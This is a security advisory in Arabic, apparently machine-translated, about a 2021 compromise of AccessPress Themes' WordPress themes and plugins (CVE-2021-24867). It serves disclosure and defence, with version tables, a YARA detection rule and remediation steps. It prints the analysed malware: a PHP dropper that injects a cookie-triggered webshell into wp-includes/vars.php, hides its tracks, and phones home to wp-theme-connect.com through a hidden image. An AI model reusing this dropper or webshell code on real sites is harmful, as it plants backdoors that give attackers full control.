تم العثور على مستتر في السمات والمكونات الإضافية من سمات AccessPress

نشرت: 2022-01-19

تحديث 1 فبراير - تم تغيير قسم "السمات المتأثرة" لتعكس ظهور إصدارات جديدة من السمات.

أثناء التحقيق في موقع تم اختراقه ، اكتشفنا بعض الرموز المشبوهة في سمة من تصميم AccessPress Themes (المعروفة أيضًا باسم Access Keys) ، وهو بائع لديه عدد كبير من السمات والمكونات الإضافية الشائعة. في مزيد من التحقيق ، وجدنا أن جميع السمات ومعظم المكونات الإضافية من البائع تحتوي على هذه الشفرة المشبوهة ، ولكن فقط إذا تم تنزيلها من موقع الويب الخاص بهم. كانت نفس الامتدادات جيدة إذا تم تنزيلها أو تثبيتها مباشرة من دليل WordPress.org.

نظرًا للطريقة التي تم بها اختراق الامتدادات ، فقد اشتبهنا في أن مهاجمًا خارجيًا قد اخترق موقع ويب سمات AccessPress في محاولة لاستخدام امتداداتها لإصابة المزيد من المواقع.

اتصلنا بالمورد على الفور ، لكننا لم نتلق ردًا في البداية. بعد تصعيدها إلى فريق البرنامج المساعد WordPress.org ، تم تأكيد شكوكنا. تم اختراق مواقع AccessPress Themes في النصف الأول من سبتمبر 2021 ، وتم حقن الامتدادات المتاحة للتنزيل على موقعهم بباب خلفي.

بمجرد أن أنشأنا قناة للتواصل مع البائع ، شاركنا نتائجنا التفصيلية معهم. قاموا على الفور بإزالة الامتدادات المخالفة من موقعهم على الويب.

تم تحديث معظم المكونات الإضافية منذ ذلك الحين ، وتم إدراج الإصدارات النظيفة المعروفة في أسفل هذا المنشور. ومع ذلك ، لم يتم تحديث السمات المتأثرة ، وتم سحبها من مستودع قوالب WordPress.org. إذا كان لديك أي من السمات المدرجة في الجزء السفلي من هذا المنشور مثبتًا على موقعك ، فنحن نوصي بالانتقال إلى سمة جديدة في أقرب وقت ممكن.

يتعلق هذا الكشف بعدد كبير من الإضافات ، سواء الإضافات أو السمات. تخطي إلى القائمة أدناه ، أو تابع القراءة للحصول على التفاصيل.

تفاصيل:

المُصنِّع: AccessPress Themes
عنوان url للبائع: https://accesspressthemes.com
الإضافات: متعددة
السمات: متعددة
CVE: CVE-2021-24867

التحليلات:

تحتوي الامتدادات المصابة على قطارة لقشرة ويب تمنح المهاجمين وصولاً كاملاً إلى المواقع المصابة. يوجد القطارة في الملف inital.php الموجود في البرنامج المساعد الرئيسي أو دليل السمات. عند تشغيله ، يقوم بتثبيت webshell المستند إلى ملف تعريف الارتباط في wp-includes/vars.php . يتم تثبيت الغلاف كوظيفة أمام wp_is_mobile() باسم wp_is_mobile_fix() . يُفترض أن هذا لا يثير الشك لأي شخص يتصفح عرضًا ملف vars.php .

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

بمجرد تثبيت الغلاف ، سوف يتصل القطارة بالمنزل عن طريق تحميل صورة بعيدة من عنوان URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg مع عنوان url الخاص بالموقع المصاب ومعلومات حول الموضوع الذي تستخدمه كوسيطات الاستعلام. أخيرًا ، سيقوم بإزالة ملف مصدر القطارة لتجنب الكشف عند انتهاء تنفيذ الطلب.

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

يتم تشغيل webshell نفسه إذا كانت سلسلة وكيل المستخدم في الطلب هي wp_is_mobile ويحتوي الطلب على ثمانية ملفات تعريف ارتباط محددة. يتراكم معًا وينفذ حمولة من ملفات تعريف الارتباط هذه.

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

لقد رأينا أيضًا متغيرًا آخر ، يُفترض أنه أقدم ، للباب الخلفي مضمنًا مباشرةً في ملف theme / plugin functions.php . يستخدم هذا المتغير نفس الآلية مع تجميع الحمولة من ثمانية ملفات تعريف ارتباط ، ولكنه لا يقوم بالتصفية على سلسلة وكيل مستخدم الطلب.

لضمان تنفيذ القطارة ، تم تعديل ملف البرنامج المساعد الرئيسي (للمكونات الإضافية) أو ملف functions.php (للقوالب) برمز لتنفيذ ملف inital.php إذا كان موجودًا.

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

أحد التفاصيل اللافتة للنظر من الطوابع الزمنية للمكونات الإضافية المخترقة هو أنها كلها من أوائل سبتمبر. الغالبية من 6 و 7 سبتمبر ، مع عدد قليل من الملفات من 2 و 3 سبتمبر. وبالمثل بالنسبة للموضوعات ، تم اختراق جميع الموضوعات في 22 سبتمبر ، باستثناء accessbuddy في 9 سبتمبر.

أيضًا ، الطوابع الزمنية داخل أرشيفات مضغوطة موحدة للغاية ، مع وجود جميع الملفات تقريبًا بنفس الطابع الزمني بالضبط ، باستثناء ملف المكون الإضافي الرئيسي المعدل وملف القطارة المضاف الذي تم ختمه بعد بضع دقائق (عادةً بعد حوالي 2-5 دقائق بعد الملفات الأخرى في الأرشيف).

بالنظر إلى الطوابع الزمنية للملفات المضغوطة التي تم تنزيلها من مستودع wordpress.org ، وجدنا توزيعًا للطوابع الزمنية المطابقة للوقت الذي تم فيه تحديث المكون الإضافي / السمة بالفعل. كما أن توزيع الطوابع الزمنية داخل الأرشيف أقل اتساقًا ويعكس الملفات التي تم تحديثها في الإصدار والتي لم تتغير من إصدار أقدم.

يشير هذا إلينا أن الملفات من موقع AccessPress Themes تم تعديلها عن قصد ، وكإجراء منسق بعد إصدارها في الأصل. يبدو أن الحل الوسط قد تم إجراؤه على مرحلتين ، واحدة للمكونات الإضافية والأخرى للسمات. كل واحد منهم مع بعض المحاولات السابقة ، ربما لضبط العملية.

لقد نظر تحقيقنا فقط في السمات والإضافات المتاحة مجانًا من موقع AccessPress Themes. نحن نفترض أن الموضوعات الاحترافية المدفوعة تتأثر بالمثل ، لكننا لم نفحصها. إذا كان لديك أي من هذه ، فيرجى الاتصال بدعم AccessPress Themes للحصول على مزيد من النصائح.

الموضوعات المتأثرة

إذا كان لديك أي من السمات التالية برقم إصدار في العمود Bad مثبت على موقعك ، فإننا نوصي بالترقية إلى الإصدار في العمود Clean على الفور. تجدر الإشارة إلى أن السمات المثبتة من خلال WordPress.org نظيفة ، حتى لو تم إدراجها في العمود السيئ . ما زلنا نوصي بالترقية إلى الإصدار النظيف المعروف ليكون في الجانب الآمن.

لم تتم ترقية السمات التي لا تحتوي على رقم إصدار في العمود Clean حتى الآن ، ونوصي باستبدالها بموضوع آخر إذا كان ذلك ممكنًا.

سبيكة الموضوع سيئ ينظف
accessbuddy 1.0.0
برنامج accesspress-basic 3.2.1 3.2.2
اكسسبرس لايت 2.92 2.93
accesspress- ماج 2.6.5 2.6.6
الوصول إلى المنظر 4.5 4.6
اكسبرس راي 1.19.5
الوصول إلى الجذر 2.5 2.6.0
الوصول إلى المواد الأساسية 1.9.1
متجر الوصول 2.4.9 2.5.0
وكالة لايت 1.1.6 1.1.7
أبليت 1.0.6
بنغل 1.0.4 1.0.5
المدون 1.2.6 1.2.7
البناء لايت 1.2.5 1.2.6
دوكو 1.0.27 1.1.0
تنوير 1.3.5 1.3.6
متجر بيع 1.2.1
التصوير الفوتوغرافي 2.4.0 2.4.1
غاغا كورب 1.0.8
غاغا لايت 1.4.2
نظرة واحدة 2.2.8
المنظر بلوق 3.1.1574941215
المنظر 1.3.6 1.3.7
بونت 1.1.2 1.1.3
تدور 1.3.1
تموج 1.2.0 1.2.1
scrollme 2.1.0
رياضي 1.2.1
ستورفيل 1.4.1 1.4.2
سوينغ لايت 1.1.9 1.2.0
المشغل 1.3.2 1.3.3
يوم الاثنين 1.4.1
فك شفرة لايت 1.3.1
يونيكون لايت 1.2.6 1.2.7
vmag 1.2.7 1.2.8
vmagazine- لايت 1.3.5 1.3.7
vmagazine- الأخبار 1.0.5 1.0.6
طفل منعرج 1.0.6 1.0.7
مستحضرات التجميل منعرج 1.0.5 1.0.6
زيجسي لايت 2.0.9 2.1.0
الجدول 1: السمات والإصدارات المخترقة بالهجوم.

المكونات الإضافية المتأثرة

إذا كان لديك أي من المكونات الإضافية التالية برقم إصدار في العمود Bad مثبت على موقعك ، فإننا نوصي بالترقية إلى الإصدار في العمود Clean على الفور. تجدر الإشارة إلى أن المكونات الإضافية المثبتة من خلال WordPress.org نظيفة ، حتى لو تم إدراجها في العمود السيئ . ما زلنا نوصي بالترقية إلى الإصدار النظيف المعروف ليكون في الجانب الآمن.

لم تتم ترقية المكونات الإضافية التي لا تحتوي على رقم إصدار في العمود Clean حتى الآن ، ونوصي باستبدالها بمكونات إضافية أخرى إذا كان ذلك ممكنًا على الإطلاق.

سبيكة البرنامج المساعد سيئ ينظف ملحوظة
accesspress-anonymous-post 2.8.0 2.8.1 1
accesspress-custom-css. الوصول 2.0.1 2.0.2
accesspress مخصص آخر نوع 1.0.8 1.0.9
accesspress-facebook-auto-post 2.1.3 2.1.4
accesspress-instagram-feed 4.0.3 4.0.4
الوصول إلى بينتيريست 3.3.3 3.3.4
الوصول إلى عداد الاجتماعي 1.9.1 1.9.2
الوصول إلى الرموز الاجتماعية 1.8.2 1.8.3
accesspress-social-login-lite 3.4.7 3.4.8
الوصول إلى الاجتماعية حصة 4.5.5 4.5.6
accesspress-twitter-auto-post 1.4.5 1.4.6
accesspress-twitter-feed 1.6.7 1.6.8
قائمة-أيقونات-لايت 1.0.9
رفيق أب 1.0.7 2
ap- نموذج الاتصال 1.0.6 1.0.7
شهادة أب مخصص 1.4.6 1.4.7
قائمة ap-mega 3.0.5 3.0.6
ابي التسعير جداول لايت 1.1.2 1.1.3
قمة الإخطار شريط لايت 2.0.4 2.0.5
cf7-store-to-db-lite 1.0.9 1.1.0
التعليقات تعطيل الوصول الضغط 1.0.7 1.0.8
سهل الجانب علامة التبويب سي تي ايه 1.0.7 1.0.8
Everest-admin-theme-lite 1.0.7 1.0.8
ايفرست قريبا لايت 1.1.0 1.1.1
ايفرست-تعليق-تصنيف-لايت 2.0.4 2.0.5
ايفرست كونتر لايت 2.0.7 2.0.8
Everest-faq-manager-Lite 1.0.8 1.0.9
ايفرست غاليري لايت 1.0.8 1.0.9
Everest-google-places-reviews-lite 1.0.9 2.0.0
ايفرست مراجعة لايت 1.0.7
ايفرست تاب لايت 2.0.3 2.0.4
ايفرست تايم لاين لايت 1.1.1 1.1.2
مضمنة دعوة إلى العمل باني لايت 1.1.0 1.1.1
المنتج المنزلق مقابل woocommerce لايت 1.1.5 1.1.6
سمارت-شعار-عرض-لايت 1.1.7 1.1.8
المشاركات الذكية التمرير 2.0.8 2.0.9
التمرير الذكي لأعلى لايت 1.0.3 1.0.4
إجمالي- gdpr- الامتثال- لايت 1.0.4
مجموع فريق لايت 1.1.1 1.1.2
مربع المؤلف النهائي لايت 1.1.2 1.1.3
باني الشكل النهائي لايت 1.5.0 1.5.1
وو-شارة-مصمم-لايت 1.1.0 1.1.1
wp-1-المنزلق 1.2.9 1.3.0
wp-blog-manager-lite 1.1.0 1.1.2
wp- تعليق-مصمم-لايت 2.0.3 2.0.4
wp- ملف تعريف الارتباط-معلومات المستخدم 1.0.7 1.0.8
wp-facebook-review-showcase-lite 1.0.9
wp-fb-messenger-button-lite 2.0.7
wp- القائمة العائمة 1.4.4 1.4.5
wp-media-manager-lite. ملف wp-media-manager-lite 1.1.2 1.1.3
لافتات wp المنبثقة 1.2.3 1.2.4
wp-popup-lite 1.0.8
معرض الصور wp-product-lite 1.1.1
الجدول 2: الإضافات ، الإصدارات التي تعرض للخطر بسبب الهجوم وكذلك الإصدارات النظيفة المعروفة ،

ملاحظات:

  1. لم يتم تحديث هذا المكون الإضافي ، ولكن يُعتقد أنه نظيف لأن الإصدار الموجود على موقع AccessPress Themes كان إصدارًا أقدم.
  2. لم يتم تحديث هذا المكون الإضافي ، ولكن يُعتقد أنه نظيف لأنه لم يكن متاحًا في الأصل على موقع AccessPress Themes.

اللجنة الأولمبية الدولية

يمكن استخدام قاعدة YARA التالية للتحقق مما إذا كان الموقع مصابًا. سيكتشف كل من جزء القطارة من العدوى بالإضافة إلى webshell المثبت.

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

التوصيات

إذا كان لديك أي سمات أو مكونات إضافية مثبتة مباشرة من AccessPress Themes أو أي مكان آخر باستثناء WordPress.org ، فيجب عليك الترقية على الفور إلى إصدار آمن كما هو موضح في الجداول أعلاه. إذا لم يتوفر إصدار آمن ، فاستبدله بأحدث إصدار من WordPress.org.

يرجى ملاحظة أن هذا لا يزيل الباب الخلفي من نظامك ، لذلك بالإضافة إلى أنك تحتاج إلى إعادة تثبيت إصدار نظيف من WordPress للعودة إلى تعديلات الملف الأساسية التي تم إجراؤها أثناء تثبيت الباب الخلفي.

إذا كان لديك سمة أو مكون إضافي مدفوع من AccessPress Themes / Access Keys ، فننصحك بالاتصال بدعمهم للحصول على المساعدة.

نوصي بشدة أن يكون لديك خطة أمان لموقعك تتضمن فحص الملفات الضارة والنسخ الاحتياطي. Jetpack Security هو أحد خيارات الأمان الرائعة في WordPress لضمان أمان موقعك وزوارك. اكتشف Jetpack Scan جميع أنواع هذا الباب الخلفي والقطارة منذ 30 سبتمبر.

الجدول الزمني

2021-09-22: يكتشف فريق Jetpack Scan القطارة والباب الخلفي في سمة FotoGraphy ، ويحاول الاتصال بالبائع حول الاكتشاف الأولي.

2021-09-27: تأكد من وجود القطارة + الباب الخلفي في جميع المكونات الإضافية والسمات المجانية الحالية التي تم تنزيلها من موقع البائعين.

2021-09-28: تأكد من عدم وجود أداة القطارة + الباب الخلفي في التنزيلات من wordpress.org

2021-09-29: محاولة الاتصال بالمورد مرة أخرى ، مع تحديثات على النتائج الجديدة.

2021-10-14: تم التصعيد لفريق إضافات WordPress لمحاولة التواصل مع البائع.

2021-10-15: تتم إزالة الامتدادات المخترقة من موقع البائع.

2021-10-16: رد البائع

2022-01-17: تمت ترقية معظم المكونات الإضافية إلى إصدارات جديدة ، وتم سحب السمات من WordPress.org.

2022-01-18 الإفصاح العام